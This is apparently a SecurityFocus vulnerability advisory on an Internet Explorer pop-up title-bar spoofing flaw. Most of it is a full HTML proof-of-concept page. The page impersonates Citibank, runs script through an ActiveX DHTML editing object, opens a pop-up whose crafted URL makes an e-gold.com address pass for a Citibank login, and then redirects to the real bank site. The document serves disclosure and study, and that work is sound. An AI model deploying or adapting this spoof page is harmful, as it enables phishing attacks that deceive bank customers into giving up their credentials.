source: http://www.securityfocus.com/bid/12602/info

Internet Explorer is reported prone to a pop-up window title bar spoofing weakness.

The weakness is reported to exist due to a flaw that manifests in script-initiated pop-up windows.

This issue may be leveraged by an attacker to display false URI information in the title bar of an Internet Explorer pop-up dialog window. This may facilitate phishing style attacks; other attacks may also be possible.

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<!-- saved from url=(0014)about:internet -->
<html lang="x-klingon">
<head>
<title>Welcome to Citibank</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="Content-Script-Type" content="text/javascript">

<script type="text/javascript">
<!-- Begin
function shellscript()
{
  window.focus();
  pURL = 'http://securelogin.citibank.com"+".e-gold.com/';
  sP = 'toolbar=0,scrollbars=0,location=0,statusbar=0,';
  sP += 'menubar=0,resizable=0,width=315,';
  sP += 'height=200,left = 250,top = 200'
  day = new Date();
  id = day.getTime();
  eval("page" + id + " = window.open(pURL, '" + id + "',sP);");
}

function main()
{
  targetURL = 'http://citibank.com/us/index.htm';
  x.DOM.Script.execScript(shellscript.toString());
  x.DOM.Script.setTimeout("shellscript()");
  location.replace(targetURL);
}

setTimeout(' main() ',1000);

// End -->
</script>

</head>

<object
        id="x"
        classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"
        width="1"
        height="1"
        align="middle"
>
<param name="ActivateApplets" value="1">
<param name="ActivateActiveXControls" value="1">
</object>

</body>
</html> 
